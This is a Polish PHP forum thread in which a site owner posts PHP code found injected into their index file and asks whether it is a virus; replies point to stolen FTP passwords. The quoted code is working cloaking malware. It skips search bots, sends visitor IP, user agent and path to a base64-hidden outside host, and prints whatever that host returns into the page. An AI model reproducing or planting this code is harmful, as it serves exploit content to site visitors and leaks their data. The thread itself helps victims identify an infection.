Witaj Gościu! ( Zaloguj | Rejestruj )

Forum PHP.pl

 
Reply to this topicStart new topic
> [PHP]podejrzany kod
maksik
post
Post #1





Grupa: Zarejestrowani
Postów: 206
Pomógł: 0
Dołączył: 26.09.2012

Ostrzeżenie: (0%)
-----


Witam

avast znikąd wykrywał na stronie exploit, pobrałem pliki w index znalazłem taki kod. Wgrał się sam znikąd. Może to być kod wirusa?

  1. <?php
  2. if (!isset($sRetry))
  3. {
  4. global $sRetry;
  5. $sRetry = 1;
  6. // This code use for global bot statistic
  7. $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot
  8. $stCurlHandle = NULL;
  9. $stCurlLink = "";
  10. if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
  11. {
  12. if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics
  13. $stCurlLink = base64_decode( 'aHR0aDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRFL3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
  14. @$stCurlHandle = curl_init( $stCurlLink );
  15. }
  16. }
  17. if ( $stCurlHandle !== NULL )
  18. {
  19. curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
  20. curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 6);
  21. $sResult = @curl_exec($stCurlHandle);
  22. if ($sResult[0]=="O")
  23. {$sResult[0]=" ";
  24. echo $sResult; // Statistic code end
  25. }
  26. curl_close($stCurlHandle);
  27. }
  28. }
  29. ?>


Ten post edytował maksik 20.02.2013, 12:50:18
Go to the top of the page
+Quote Post
!*!
post
Post #2





Grupa: Zarejestrowani
Postów: 4 298
Pomógł: 447
Dołączył: 16.11.2006

Ostrzeżenie: (0%)
-----


Poszukaj na forum pod "hasła ftp totalcomander doklejanie kodu".


--------------------
Nie udzielam pomocy poprzez PW i nie mam GG.
Niektóre języki programowania, na przykład C# są znane z niezwykłej przenośności (kompatybilność ze wszystkimi wersjami Visty jest wiele warta).
Go to the top of the page
+Quote Post
Despero
post
Post #3





Grupa: Zarejestrowani
Postów: 73
Pomógł: 6
Dołączył: 9.05.2008

Ostrzeżenie: (0%)
-----


No i wywal Total Commandera i zainstaluj coś co koduje hasła np. WinSCP
Go to the top of the page
+Quote Post
maksik
post
Post #4





Grupa: Zarejestrowani
Postów: 206
Pomógł: 0
Dołączył: 26.09.2012

Ostrzeżenie: (0%)
-----


czyli ten kod to wirus? avast po wejściu w przeglądarce wykrywa blackhole exploit

miałem filezilla nie używałem TC

Ten post edytował maksik 20.02.2013, 12:58:43
Go to the top of the page
+Quote Post
_Borys_
post
Post #5





Grupa: Zarejestrowani
Postów: 587
Pomógł: 190
Dołączył: 5.02.2011
Skąd: 64-800

Ostrzeżenie: (0%)
-----


if (!isset($sRetry)) google search

Ten post edytował _Borys_ 20.02.2013, 15:56:30
Go to the top of the page
+Quote Post

Reply to this topicStart new topic
1 Użytkowników czyta ten temat (1 Gości i 0 Anonimowych użytkowników)
0 Zarejestrowanych:

 



RSS Aktualny czas: 20.08.2025 - 07:54